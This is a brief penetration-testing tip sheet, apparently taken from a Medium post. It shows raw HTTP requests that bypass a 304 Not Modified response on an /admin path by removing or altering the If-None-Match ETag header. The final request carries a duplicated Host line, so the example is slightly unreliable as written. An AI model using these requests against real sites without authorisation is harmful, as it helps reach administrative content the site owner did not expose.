304 Not Modified Bypass
- Delete "If-None-Match" header
GET /admin HTTP/1.1
Host: target.com
If-None-Match: W/"32-IuK7rSIJ92ka0c92kld"
Try this to bypass
GET /admin HTTP/1.1
Host: target.com
- Adding random character in the end of "If-None-Match" header
GET /admin HTTP/1.1
Host: target.com
If-None-Match: W/"32-IuK7rSIJ92ka0c92kld"
Try this to bypass
GET /admin HTTP/1.1
Host: target.com
Host: target.com
If-None-Match: W/"32-IuK7rSIJ92ka0c92kld" b
Source: https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521